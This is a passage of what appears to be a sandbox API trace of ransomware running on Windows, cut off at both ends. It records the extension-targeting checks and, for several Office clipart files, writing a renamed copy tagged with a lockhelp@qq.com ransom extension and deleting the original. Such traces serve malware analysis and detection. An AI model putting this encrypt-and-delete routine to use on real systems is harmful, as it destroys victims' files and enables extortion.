-1 [0320.052] lstrlenW (lpString=".pdf") returned 4 [0320.052] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.053] lstrlenW (lpString=".xls") returned 4 [0320.053] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.053] lstrlenW (lpString=".xlsx") returned 5 [0320.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.053] lstrlenW (lpString=".ppt") returned 4 [0320.053] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.053] lstrlenW (lpString=".zip") returned 4 [0320.053] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.053] lstrlenW (lpString=".rar") returned 4 [0320.053] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.053] lstrlenW (lpString=".bz2") returned 4 [0320.053] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.053] lstrlenW (lpString=".7z") returned 3 [0320.053] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.053] lstrlenW (lpString=".dbf") returned 4 [0320.053] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.053] lstrlenW (lpString=".1cd") returned 4 [0320.053] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.053] lstrlenW (lpString=".jpg") returned 4 [0320.053] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.053] lstrlenW (lpString=".doc") returned 4 [0320.054] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.054] lstrlenW (lpString=".docx") returned 5 [0320.054] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.054] lstrlenW (lpString=".pdf") returned 4 [0320.054] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.054] lstrlenW (lpString=".xls") returned 4 [0320.054] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.054] lstrlenW (lpString=".xlsx") returned 5 [0320.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.054] lstrlenW (lpString=".ppt") returned 4 [0320.054] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.054] lstrlenW (lpString=".zip") returned 4 [0320.054] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.054] lstrlenW (lpString=".rar") returned 4 [0320.054] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.054] lstrlenW (lpString=".bz2") returned 4 [0320.054] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.054] lstrlenW (lpString=".7z") returned 3 [0320.054] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.054] lstrlenW (lpString=".dbf") returned 4 [0320.054] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.054] lstrlenW (lpString=".1cd") returned 4 [0320.054] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.055] lstrlenW (lpString=".jpg") returned 4 [0320.055] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.055] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.055] lstrlenW (lpString="AG00169_.GIF") returned 12 [0320.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.055] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=5375) returned 1 [0320.055] CloseHandle (hObject=0x378) returned 1 [0320.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0320.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.056] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.056] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.056] GetLastError () returned 0x0 [0320.057] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x14ff, lpOverlapped=0x0) returned 1 [0320.221] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1500, lpOverlapped=0x0) returned 1 [0320.222] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.222] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.222] SetEndOfFile (hFile=0x37c) returned 1 [0320.222] CloseHandle (hObject=0x37c) returned 1 [0320.222] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.222] SetEndOfFile (hFile=0x378) returned 1 [0320.224] CloseHandle (hObject=0x378) returned 1 [0320.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0320.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.291] lstrlenW (lpString=".doc") returned 4 [0320.291] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.291] lstrlenW (lpString=".docx") returned 5 [0320.291] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.291] lstrlenW (lpString=".pdf") returned 4 [0320.291] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.291] lstrlenW (lpString=".xls") returned 4 [0320.292] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.292] lstrlenW (lpString=".xlsx") returned 5 [0320.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.292] lstrlenW (lpString=".ppt") returned 4 [0320.292] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.292] lstrlenW (lpString=".zip") returned 4 [0320.292] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.292] lstrlenW (lpString=".rar") returned 4 [0320.292] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.292] lstrlenW (lpString=".bz2") returned 4 [0320.292] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.292] lstrlenW (lpString=".7z") returned 3 [0320.292] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.292] lstrlenW (lpString=".dbf") returned 4 [0320.292] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.292] lstrlenW (lpString=".1cd") returned 4 [0320.292] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.292] lstrlenW (lpString=".jpg") returned 4 [0320.292] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.293] lstrlenW (lpString=".doc") returned 4 [0320.293] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.293] lstrlenW (lpString=".docx") returned 5 [0320.293] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.293] lstrlenW (lpString=".pdf") returned 4 [0320.293] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.293] lstrlenW (lpString=".xls") returned 4 [0320.293] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.293] lstrlenW (lpString=".xlsx") returned 5 [0320.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.293] lstrlenW (lpString=".ppt") returned 4 [0320.293] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.293] lstrlenW (lpString=".zip") returned 4 [0320.293] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.293] lstrlenW (lpString=".rar") returned 4 [0320.293] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.293] lstrlenW (lpString=".bz2") returned 4 [0320.293] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.293] lstrlenW (lpString=".7z") returned 3 [0320.293] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.293] lstrlenW (lpString=".dbf") returned 4 [0320.293] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.293] lstrlenW (lpString=".1cd") returned 4 [0320.294] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0320.294] lstrlenW (lpString=".jpg") returned 4 [0320.294] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.294] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.294] lstrlenW (lpString="AN00853_.WMF") returned 12 [0320.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.294] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=20578) returned 1 [0320.294] CloseHandle (hObject=0x378) returned 1 [0320.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0320.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.295] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.295] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.296] GetLastError () returned 0x0 [0320.296] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x5062, lpOverlapped=0x0) returned 1 [0320.297] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x5070, lpOverlapped=0x0) returned 1 [0320.306] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.306] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.306] SetEndOfFile (hFile=0x37c) returned 1 [0320.306] CloseHandle (hObject=0x37c) returned 1 [0320.306] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.306] SetEndOfFile (hFile=0x378) returned 1 [0320.307] CloseHandle (hObject=0x378) returned 1 [0320.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0320.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.308] lstrlenW (lpString=".doc") returned 4 [0320.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.308] lstrlenW (lpString=".docx") returned 5 [0320.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.308] lstrlenW (lpString=".pdf") returned 4 [0320.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.308] lstrlenW (lpString=".xls") returned 4 [0320.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.308] lstrlenW (lpString=".xlsx") returned 5 [0320.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.308] lstrlenW (lpString=".ppt") returned 4 [0320.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.308] lstrlenW (lpString=".zip") returned 4 [0320.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.308] lstrlenW (lpString=".rar") returned 4 [0320.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.308] lstrlenW (lpString=".bz2") returned 4 [0320.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.308] lstrlenW (lpString=".7z") returned 3 [0320.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.309] lstrlenW (lpString=".dbf") returned 4 [0320.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.309] lstrlenW (lpString=".1cd") returned 4 [0320.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.309] lstrlenW (lpString=".jpg") returned 4 [0320.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.309] lstrlenW (lpString=".doc") returned 4 [0320.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.309] lstrlenW (lpString=".docx") returned 5 [0320.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.309] lstrlenW (lpString=".pdf") returned 4 [0320.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.309] lstrlenW (lpString=".xls") returned 4 [0320.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.309] lstrlenW (lpString=".xlsx") returned 5 [0320.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.309] lstrlenW (lpString=".ppt") returned 4 [0320.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.309] lstrlenW (lpString=".zip") returned 4 [0320.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.309] lstrlenW (lpString=".rar") returned 4 [0320.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.309] lstrlenW (lpString=".bz2") returned 4 [0320.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.309] lstrlenW (lpString=".7z") returned 3 [0320.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.310] lstrlenW (lpString=".dbf") returned 4 [0320.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.310] lstrlenW (lpString=".1cd") returned 4 [0320.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0320.310] lstrlenW (lpString=".jpg") returned 4 [0320.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.310] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.310] lstrlenW (lpString="AN00914_.WMF") returned 12 [0320.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.310] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=10832) returned 1 [0320.310] CloseHandle (hObject=0x378) returned 1 [0320.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0320.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.311] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.311] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.311] GetLastError () returned 0x0 [0320.311] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x2a50, lpOverlapped=0x0) returned 1 [0320.312] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2a60, lpOverlapped=0x0) returned 1 [0320.313] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.313] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.313] SetEndOfFile (hFile=0x37c) returned 1 [0320.313] CloseHandle (hObject=0x37c) returned 1 [0320.313] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.313] SetEndOfFile (hFile=0x378) returned 1 [0320.314] CloseHandle (hObject=0x378) returned 1 [0320.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0320.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0320.315] lstrlenW (lpString=".doc") returned 4 [0320.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.315] lstrlenW (lpString=".docx") returned 5 [0320.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.315] lstrlenW (lpString=".pdf") returned 4 [0320.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.315] lstrlenW (lpString=".xls") returned 4 [0320.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.315] lstrlenW (lpString=".xlsx") returned 5 [0320.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.315] lstrlenW (lpString=".ppt") returned 4 [0320.315] lstrcmpiW (lpString1=".ppt", 